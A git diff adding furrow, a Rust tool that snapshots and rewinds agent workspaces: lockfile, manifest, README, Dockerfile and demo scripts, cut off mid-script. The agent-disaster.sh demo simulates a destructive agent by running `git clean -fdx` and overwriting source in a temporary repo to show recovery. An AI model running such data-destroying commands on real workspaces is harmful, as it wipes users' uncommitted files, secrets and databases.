"f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "smallvec" +version = "1.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9ae57f904213ebb649ce6895b8a66c66f0203b9319718f69a5612a065b1422" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8a559c81686f576e8cd0290cd2a24a2a9ad80c98b3478856500fcbd7acd704" +dependencies = [ + "cfg-if", + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys 0.59.0", +] + +[[package]] +name = "termtree" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f50febec83f5ee1df3015341d8bd429f2d1cc62bcba7ea2076759d315084683" + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tiny_http" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389915df6413a2e74fb181895f933386023c71110878cd0825588928e64cdc82" +dependencies = [ + "ascii", + "chunked_transfer", + "httpdate", + "log", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-bidi" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-normalization" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "ureq" +version = "3.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d39cb1dbab692d82a977c0392ffac19e188bd9186a9f32806f0aaa859d75585a" +dependencies = [ + "base64", + "log", + "percent-encoding", + "rustls", + "rustls-pki-types", + "ureq-proto", + "utf-8", + "webpki-roots", +] + +[[package]] +name = "ureq-proto" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d81f9efa9df032be5934a46a068815a10a042b494b6a58cb0a1a97bb5467ed6f" +dependencies = [ + "base64", + "http", + "httparse", + "log", +] + +[[package]] +name = "url" +version = "2.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "webpki-roots" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf85cb06032201fa7c6f829d7db5a7e5aa45bcc0655327713065f6f0576731bf" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "xattr" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f" +dependencies = [ + "libc", + "linux-raw-sys", + "rustix", +] + +[[package]] +name = "zerocopy" +version = "0.8.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7cbbc0a705a0fd05cc3676525980d2bf5a9bc4adac6d6475209a7887cf59d19" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2e817b7b52d0c7358d3246da9d69935ebb18116b2b102b4230dac079b4862f5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" diff --git a/engine/Cargo.toml b/engine/Cargo.toml new file mode 100644 index 0000000000..129358bc22 --- /dev/null +++ b/engine/Cargo.toml @@ -0,0 +1,45 @@ +[workspace] +resolver = "2" +members = ["furrow-core", "furrow-cli", "furrow-daemon"] + +[workspace.package] +version = "0.1.0" +edition = "2021" +rust-version = "1.83" +license = "Apache-2.0" +repository = "https://github.com/Agent-Field/furrow" + +[workspace.dependencies] +anyhow = "=1.0.95" +blake3 = "=1.5.5" +chacha20poly1305 = "=0.10.1" +clap = { version = "=4.5.31", features = ["derive", "env"] } +directories = "=5.0.1" +fs2 = "=0.4.3" +filetime = "=0.2.25" +hex = "=0.4.3" +getrandom = "=0.2.17" +libc = "=0.2.169" +notify = "=7.0.0" +rusqlite = { version = "=0.32.1", features = ["backup", "bundled"] } +rusty-s3 = { version = "=0.8.1", default-features = false } +serde = { version = "=1.0.217", features = ["derive"] } +serde_bytes = "=0.11.15" +serde_json = "=1.0.138" +sha2 = "=0.10.9" +tempfile = "=3.15.0" +tiny_http = "=0.12.0" +ureq = { version = "=3.1.4", default-features = false, features = ["rustls"] } +unicode-normalization = "=0.1.25" +url = "=2.5.2" +xattr = "=1.3.1" +zeroize = "=1.8.1" +assert_cmd = "=2.0.16" +predicates = "=3.1.3" + +[profile.release] +codegen-units = 1 +lto = "thin" +opt-level = 3 +panic = "abort" +strip = true diff --git a/engine/LICENSE b/engine/LICENSE new file mode 100644 index 0000000000..b38789657b --- /dev/null +++ b/engine/LICENSE @@ -0,0 +1,18 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + Copyright 2026 furrow contributors + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + diff --git a/engine/README.md b/engine/README.md new file mode 100644 index 0000000000..c808ad7f0e --- /dev/null +++ b/engine/README.md @@ -0,0 +1,169 @@ +
+ +# furrow + +### Every agent, its own fork, any machine + +[![License](https://img.shields.io/badge/license-Apache%202.0-141414?style=flat&labelColor=1f1f1f)](LICENSE) +[![More from Agent-Field](https://img.shields.io/badge/More_from-Agent--Field-141414?style=flat&logo=github&logoColor=e8e5dc&labelColor=1f1f1f)](https://github.com/Agent-Field) + +

+ Parallel Agents • + Distributed Agents • + Rewind • + Daily Kit • + Architecture +

+ +furrow. Every agent, its own fork, any machine. Byte-exact workspace copies, local or across the network. + +
+ +**furrow copy-on-write forks your entire workspace, every file, dependency, and piece of local state, into a byte-exact copy in about a second. Fork it right here on your machine for another terminal, or send it to a cloud sandbox or your other laptop with the same guarantee.** + +One fork, one primitive, wherever an agent runs: instant and disk-cheap right next to you, or sealed and encrypted so it can reach a completely different machine. You stop being the one who copies config and reseeds state by hand before an agent can even start. + +```bash +cd my-project && furrow watch +``` + +That's the whole setup. From this moment your workspace is continuously sealed into an immutable, content-addressed timeline: fork it, diff it, merge it, materialize it on another machine, rewind it when anything — human or agent — breaks it. Git versions your commits; furrow versions everything between them. + +Local-first and Apache-2.0. No account, no telemetry, works offline. Remotes, when you add them, receive only ciphertext. + +Every scenario below is a runnable script in [`./demo/`](demo/). + +--- + +## Parallel agents, one machine + +Start your agents the way you always start them — just more of them. One optional alias gives every session its own universe automatically: + +```bash +alias claude='furrow exec -- claude' # once, in your shell profile +``` + +Now open three terminals and run `claude` in each. Each session gets a warm, isolated copy of the *full* working state — dependencies, `.env`, database, everything — via filesystem copy-on-write: ready in about a second, and ten universes cost roughly the disk of one. No cold `npm install`, no port collisions, no shared files to fight over. + +While they work, **conflict radar** watches all universes and flags two agents touching the same file *before* merge time. Agents can partition work and leave notes for each other through plain files — no orchestrator. When a universe is done: + +```bash +furrow merge --check "cargo test --all" # lands only if your checks pass +``` + +Skip the alias and sessions simply share the directory like today — still sealed continuously, still collision-warned. `furrow forks` shows every universe, its real disk cost, and live conflicts whenever you're curious. + +## Parallel agents, another machine + +Same fork, different machine. Cloud sandboxes and second machines normally see your last push — never your dirty edits, `.env`, dev database, or Git index. furrow materializes your *current state*, exactly, on any machine that can reach yours (SSH over LAN or Tailscale), or through any S3-compatible bucket as an always-available encrypted mailbox. No hosted service required. + +```bash +furrow remote add ssh://dev@machine-a.tailnet --name my-project && furrow sync --follow + +# on the other machine — the clone is your complete working state, not a checkout +FURROW_RECOVERY_KEY= furrow clone ssh://dev@machine-a.tailnet/my-project +``` + +`sync --follow` keeps a warm session both ways: seal on one machine, and it's on the other before you've switched chairs. Transfers are deduplicated deltas — a day of work syncs as kilobytes. Remotes hold only ciphertext; the recovery key (entered once per machine) is the only thing that can read a workspace. + +> A laptop died mid-session. The exact working directory — dirty edits, `.env`, dev database — came back on a different machine from an S3 bucket that never saw plaintext. + +**Measured, end-to-end:** Agent A edits source and tests on one machine, furrow +encrypts and publishes the sealed state, and Agent B receives a usable workspace +on a separate machine, reviews it, and sends a follow-up change back. + +| Two-agent workflow | End-to-end rate | +|---|---:| +| Optimized warm handoff gate between two running workspaces | **4.1 handoffs/s** | +| Actual furrow repo, cold publish over the internet | **0.27 MB/s** | +| Actual furrow repo, cold materialization on machine B | **0.40 MB/s** | +| Raw `scp` of the same uncompressed repo payload | **0.71 MB/s** | + +The real-repo run covered 67 files / 1.14 MB plus two source-and-test agent +turns. Rates include encryption and transport; handoff and materialization also +include making the destination usable. Idle RSS was 16.6 MB on machine A and +15.7 MB on machine B for its follower plus A's remote helper. The encrypted +remote occupied 12.9 MB after the cold state and retained agent turns. These are +observed integration results, not guarantees. + +## Rewind what Git can't see + +An agent just ran `git clean -fdx`, trashed `.env`, and corrupted the dev database. Git protects none of that; furrow's timeline holds all of it — and every rewind seals the current state first, so rewinding is itself rewindable. + +```bash +furrow timeline # scrub your history — turns, labels, quiet points +furrow rewind --paths .env # one secret back, newer work untouched +furrow rewind # or the whole workspace, byte-exact +``` + +Restoration covers symlinks, permissions, extended attributes, SQLite (with a logically consistent image available), and Git's own mutable state. `--dry-run` previews any rewind's impact first. + +> `.env` and the dev SQLite database, both back, both intact, after an agent ran `git clean -fdx`. + +## The rest of the daily kit + +- **`furrow try -- npm install framework@latest`** — run anything risky with automatic before/after restore points. Keep the result or be back in seconds. +- **`furrow bisect -- cargo test`** — "it worked twenty minutes ago" usually has no commit to bisect. This bisects *states*, in disposable CoW forks, and finds the breaking moment even when the culprit was an `.env` edit or a dependency change Git never saw. +- **`furrow shrink`** — reclaims recognized dependency/build caches with honest numbers; everything removed stays exactly restorable. +- **`furrow ui`** — Mission Control: timeline scrubbing, universes, live radar, diffs, and merge preview in a local page embedded in the binary. No Node, no CDN, no account. + +## Built for agents as first-class users + +The CLI is the agent API: `--json` everywhere, stable IDs from every mutation, structured errors, and destructive operations gated on explicit IDs plus `--yes` — a prompt in machine mode is an error, not a hang. `furrow hook install` turns agent turns into attributed restore points; `furrow events --follow` streams seals, conflicts, and merges as resumable NDJSON; `furrow mcp` serves harnesses that prefer MCP. Nothing in furrow knows which agent is calling — Claude Code, Codex, Cursor, or a shell script get the same contract. + +
+Full command reference — every command, one line each + +| Command | What it does | +|---|---| +| `furrow watch` | Attach a repo and start continuous sealing | +| `furrow exec -- ` | Run a command inside its own isolated universe | +| `furrow merge --check ""` | Land a universe's changes, only if checks pass | +| `furrow forks` | List universes, disk cost, live conflicts | +| `furrow timeline` | Scrub sealed history | +| `furrow rewind [--paths] [--dry-run]` | Restore workspace state, whole or partial | +| `furrow try -- ` | Run something risky with automatic before/after restore points | +| `furrow bisect -- ` | Bisect workspace state, not just commits | +| `furrow shrink` | Reclaim recognized dependency/build caches | +| `furrow ui` | Mission Control — local web UI, no account | +| `furrow remote add ` | Add a remote (SSH or S3-compatible) | +| `furrow sync --follow` | Keep a warm two-way sync session with a remote | +| `furrow clone ` | Materialize a workspace's exact state on another machine | +| `furrow hook install` | Turn agent turns into attributed restore points | +| `furrow events --follow` | Stream seals/conflicts/merges as NDJSON | +| `furrow mcp` | Serve furrow over MCP for harnesses that prefer it | + +
+ +## How it's built + +The load-bearing decisions, for readers who want them: + +- **Immutable Merkle DAG over content-defined chunks.** A snapshot ID exists only after every referenced byte is durable. Sealing cost scales with changed entries, never repository size; memory stays bounded regardless of file size. +- **Crash-safe by construction.** Hash-verified append-only packs, an fsynced hash-chained publication log, recovery from truncated pack tails and deleted indexes — SQLite is an advisory index, never the truth. +- **Warm forks via native CoW** — APFS `clonefile`, Linux `FICLONE` — with a streaming-copy fallback whose cost is disclosed before the fork runs. +- **Retention with honest grades.** Timelines thin under hard disk budgets; every snapshot knows whether it's byte-exact or partial, and every missing path knows its recovery route. Pins override everything. `furrow estimate` projects store cost before you ever attach. +- **Encryption below the transport.** XChaCha20-Poly1305, opaque remote names, every chunk verified against its BLAKE3 identity on restore; path traversal and symlink-escape tricks rejected at the boundary. +- **The store never lives inside the repository.** `.furrow/` holds a pointer and policy; deleting it is recoverable. Exclusions (`.furrowpolicy`: `exclude node_modules`) are honored by capture, watcher, and rewind alike. + +Reproducible performance claims — `cargo bench --bench engine` (regression ceilings checked on macOS and Linux; a 1M-file reference profile available). Methodology and baselines: [docs/performance.md](docs/performance.md). + +## Honest edges + +- Cross-machine divergence is preserved and reported, not yet auto-merged — smoothest today: one writer at a time, hand off after convergence. +- Same-path universes are Linux; macOS uses disclosed sibling directories. +- Cold internet sync has been rerun; the final receiver optimization still needs a warm internet rerun. +- Fidelity is declared, not implied: `furrow status --fidelity` is the contract. + +## Development + +```bash +cargo fmt --check && cargo clippy --all-targets --all-features -- -D warnings +cargo test --all +``` + +The black-box suite runs against independent temporary Git repositories and isolated stores: secret recovery, reversible rewind, metadata fidelity, SQLite logical recovery, index reconstruction, truncated-pack recovery, path-escape rejection, interrupted-rewind recovery, and fork isolation. + +## License + +Apache-2.0 diff --git a/engine/assets/banner.png b/engine/assets/banner.png new file mode 100644 index 0000000000..a191188145 Binary files /dev/null and b/engine/assets/banner.png differ diff --git a/engine/demo/Dockerfile.two-machine b/engine/demo/Dockerfile.two-machine new file mode 100644 index 0000000000..8ce916ddea --- /dev/null +++ b/engine/demo/Dockerfile.two-machine @@ -0,0 +1,15 @@ +FROM rust:1.83-bookworm AS build +WORKDIR /src +COPY Cargo.toml Cargo.lock ./ +COPY src ./src +COPY benches ./benches +COPY ui ./ui +RUN cargo build --release --bin furrow + +FROM debian:bookworm-slim +RUN apt-get update \ + && apt-get install -y --no-install-recommends ca-certificates coreutils findutils git \ + && rm -rf /var/lib/apt/lists/* +COPY --from=build /src/target/release/furrow /usr/local/bin/furrow +WORKDIR /machine +CMD ["sleep", "infinity"] diff --git a/engine/demo/agent-disaster.sh b/engine/demo/agent-disaster.sh new file mode 100755 index 0000000000..4d647efb1c --- /dev/null +++ b/engine/demo/agent-disaster.sh @@ -0,0 +1,94 @@ +#!/usr/bin/env bash +set -euo pipefail + +PROJECT_ROOT=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd) +BIN="$PROJECT_ROOT/target/release/furrow" +DEMO_ROOT=${FURROW_DEMO_DIR:-$(mktemp -d "${TMPDIR:-/tmp}/furrow-demo.XXXXXX")} +REPO="$DEMO_ROOT/project" +export FURROW_DATA_DIR="$DEMO_ROOT/furrow-data" +export FURROW_NO_DAEMON=1 + +green='\033[0;32m' +red='\033[0;31m' +bold='\033[1m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf '%bFAIL%b %s\n' "$red" "$reset" "$1"; exit 1; } + +step "Build furrow" +cargo build --manifest-path "$PROJECT_ROOT/Cargo.toml" --release --quiet + +step "Create a realistic agent workspace" +mkdir -p "$REPO/node_modules/demo-package" "$REPO/dist" +git -C "$REPO" init -b main --quiet +git -C "$REPO" config user.email demo@furrow.dev +git -C "$REPO" config user.name "furrow demo" +cat > "$REPO/.gitignore" <<'EOF' +.env +dev.sqlite* +node_modules/ +dist/ +EOF +cat > "$REPO/app.js" <<'EOF' +export function greeting(name) { + return `hello ${name}`; +} +EOF +git -C "$REPO" add app.js .gitignore +git -C "$REPO" commit -m "initial app" --quiet + +# Real state that Git does not protect. +printf 'API_TOKEN=local-development-secret\n' > "$REPO/.env" +printf 'developer reasoning that is not committed\n' > "$REPO/notes.txt" +dd if=/dev/zero of="$REPO/node_modules/demo-package/index.bin" bs=1024 count=512 2>/dev/null +printf 'warm-build-cache\n' > "$REPO/dist/cache.txt" +sqlite3 "$REPO/dev.sqlite" \ + "PRAGMA journal_mode=WAL; CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT); INSERT INTO users(name) VALUES('Ada');" \ + >/dev/null +printf '// dirty human work\n' >> "$REPO/app.js" + +printf 'Workspace: %s\n' "$REPO" +printf 'Logical size: ' +du -sh "$REPO" | awk '{print $1}' + +step "Protect the complete working state" +SNAPSHOT=$( + "$BIN" --repo "$REPO" --json watch \ + | sed -n 's/.*"snapshot":"\([0-9a-f]*\)".*/\1/p' +) +[[ ${#SNAPSHOT} -eq 64 ]] || fail "snapshot was not created" +ok "complete snapshot ${SNAPSHOT:0:12} is durable" + +step "Simulate a destructive autonomous agent" +git -C "$REPO" clean -fdx >/dev/null +cat > "$REPO/app.js" <<'EOF' +throw new Error("agent destroyed the application"); +EOF +printf 'Git can restore app.js, but .env, notes, dependencies, build state, and SQLite are gone.\n' +[[ ! -e "$REPO/.env" ]] || fail ".env should have been deleted by the simulation" +[[ ! -e "$REPO/dev.sqlite" ]] || fail "database should have been deleted by the simulation" + +step "Preview the rewind" +"$BIN" --repo "$REPO" rewind "$SNAPSHOT" --dry-run + +step "Restore everything, using the consistent SQLite image" +OUTPUT=$("$BIN" --repo "$REPO" rewind "$SNAPSHOT" --sqlite-consistent --yes) +printf '%s\n' "$OUTPUT" + +step "Verify independently" +grep -q 'local-development-secret' "$REPO/.env" && ok "ignored .env restored" || fail ".env mismatch" +grep -q 'developer reasoning' "$REPO/notes.txt" && ok "untracked notes restored" || fail "notes mismatch" +grep -q 'dirty human work' "$REPO/app.js" && ok "dirty tracked edit restored" || fail "tracked edit mismatch" +[[ -s "$REPO/node_modules/demo-package/index.bin" ]] && ok "warm dependency state restored" || fail "dependency missing" +grep -q 'warm-build-cache' "$REPO/dist/cache.txt" && ok "build cache restored" || fail "build cache mismatch" +[[ $(sqlite3 "$REPO/dev.sqlite" 'SELECT name FROM users WHERE id=1;') == Ada ]] \ + && ok "SQLite row restored" || fail "SQLite data mismatch" +[[ $(sqlite3 "$REPO/dev.sqlite" 'PRAGMA integrity_check;') == ok ]] \ + && ok "SQLite integrity check passes" || fail "SQLite integrity failed" + +step "Timeline proves the rewind is reversible" +"$BIN" --repo "$REPO" timeline + +printf '\n%bDemo complete.%b Workspace retained at %s\n' "$green" "$reset" "$DEMO_ROOT" diff --git a/engine/demo/conflict-radar.sh b/engine/demo/conflict-radar.sh new file mode 100755 index 0000000000..86808c0e5d --- /dev/null +++ b/engine/demo/conflict-radar.sh @@ -0,0 +1,72 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-radar.XXXXXX") +REPO="$WORK/project" +ALPHA="$WORK/alpha" +BETA="$WORK/beta" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +bold='\033[1m' +green='\033[0;32m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf 